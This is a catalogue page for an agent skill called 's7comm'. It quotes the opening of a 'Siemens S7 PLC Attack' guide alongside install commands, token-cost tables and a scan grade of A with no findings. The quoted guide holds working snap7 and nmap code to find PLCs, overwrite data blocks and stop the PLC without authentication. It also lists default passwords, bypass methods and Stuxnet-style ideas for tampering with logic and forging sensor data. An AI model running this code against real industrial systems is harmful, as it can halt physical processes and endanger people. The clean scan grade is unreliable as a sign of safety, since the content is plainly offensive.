Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill s7commgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/s7comm)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/s7comm"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/s7comm/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/s7comm"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/s7comm.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00090 | $0.01302 |
| Opus 5 | $0.00045 | $0.00651 |
| Sonnet 5 | $0.00018 | $0.00260 |
| Haiku 4.5 | $0.00009 | $0.00130 |
Grade A, and why
s7comm scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
94% identical to ics-s7comm — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 120 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Siemens S7 PLC Attack
S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.
Discover
nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name
# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1) # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'
Read / Write data blocks
S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).
import snap7
from snap7 import util
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)
# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):", util.get_int(data, 2))
print("DB10.DBD4 (real):", util.get_real(data, 4))
# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)
Stop / Start the PLC
c.plc_stop() # ⚠ halts execution of the user program — process stops
c.plc_hot_start() # Resume
c.plc_cold_start() # Restart with full init
# Each is unauthenticated on S7-300/400 by default.
Authentication / "Protection Level" differences
| PLC family | Default protection | Bypass class |
|---|---|---|
| S7-300/400 | Often none ("No Protection") | Direct |
| S7-1200 (FW < V4) | None or password (cleartext on wire) | Sniff password |
| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |
| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |
# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name
Stuxnet-class primitives (S7-300/400 still in many old fleets)
- Function block tampering: write a custom FB that replaces an existing one — process logic silently changes.
- OB1 hook: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
- PROFIBUS frame injection (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 120 lines · 90 tokens per session scan A 58f41227d7cb
s7comm is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 90 tokens to every session and 1,302 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. It is 94% identical to ics-s7comm, differing in 2 lines, and is treated as a copy.
Other skills, from other repositories
ot-iot-device-security
../../../cloud-infra/ot-iot-device-security/SKILL.md.
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.12
Ensure access keys are rotated every 90 days or less.
cis-aws-foundations-2.5
Ensure MFA is enabled for the 'root' user account.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.